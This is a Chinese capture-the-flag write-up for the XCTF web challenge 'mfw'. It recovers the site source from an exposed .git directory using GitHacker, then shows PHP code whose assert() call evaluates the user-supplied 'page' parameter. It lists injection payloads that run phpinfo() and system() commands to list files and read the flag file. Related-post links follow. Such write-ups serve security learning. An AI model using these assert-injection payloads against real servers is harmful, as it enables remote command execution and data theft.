XCTF WEB mfw

比赛打自闭了，需要好好学习

打开网页看见（猜测git源码泄露）：

在URL后面加上./git发现：

使用脚本，在Linux环境中：

pip install requests
git clone https://github.com/wangyihang/GitHacker.git
python GitHacker.py [Website]

得到源码：

flag文件貌似没得啥：

查看index.php文件内容得到PHP源码：

<?phpif (isset($_GET['page'])) {$page = $_GET['page'];
} else {$page = "home";
}$file = "templates/" . $page . ".php";// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");?>
html代码........

代码审计以及思路：

了解assert()函数的使用：

assert()函数会将读入的代码当做PHP代码来执行，这就方便了！！
进行注入，注入的思路：

首先对strpos函数进行闭合，构造一下，page=’)
可以把后面', '..') === false的给注释掉，构造page=').phpinfo();//，可以得到回显
或者不注释也行，直接插入，构造page='.phpinfo().'，也可以看见：
既然可以执行函数，那就简单了，使用system()函数（system函数详解），构造查看目录的payload：?page='.system("ls").'或者page=').system("ls");//前者直接显示，后者在源码中才能看见。
由于源码直接下载有，所以直接构造得到flag的payload：?page=').system("cat templates/flag.php");//或者?page='.system("cat templates/flag.php").'两者都需查看源码！！

XCTF WEB mfw相关推荐

「干货」XCTF Web安全入门练习靶场全部通关教程
也许每个人出生的时候都以为这世界都是为他一个人而存在的,当他发现自己错的时候,他便开始长大少走了弯路,也就错过了风景,无论如何,感谢经历 0x01 view_source Write Up XCTF ...
XCTF WEB simple_php
https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5072 题解: 掌握php弱类型比较 ...
XCTF WEB simple_js
https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5067 题解: F12查看网页源代码 ...
XCTF WEB command_execution
https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5071 题解: windows或li ...
XCTF WEB webshell
https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5070 版本一题解:修改HTML代 ...
XCTF WEB weak_auth
https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5069 题解:暴力破解工具:Bur ...
XCTF WEB xff_referer
https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5068 题解: 工具:Burp Su ...
XCTF WEB disabled_button
https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5066 题解: 修改HTML代码然 ...
XCTF WEB cookie
https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5065 题解: 查看浏览器Cooki ...
XCTF WEB backup
https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5064 题解: 下载http://1 ...

XCTF WEB mfw

XCTF WEB mfw

代码审计以及思路：

XCTF WEB mfw相关推荐

最新文章

热门文章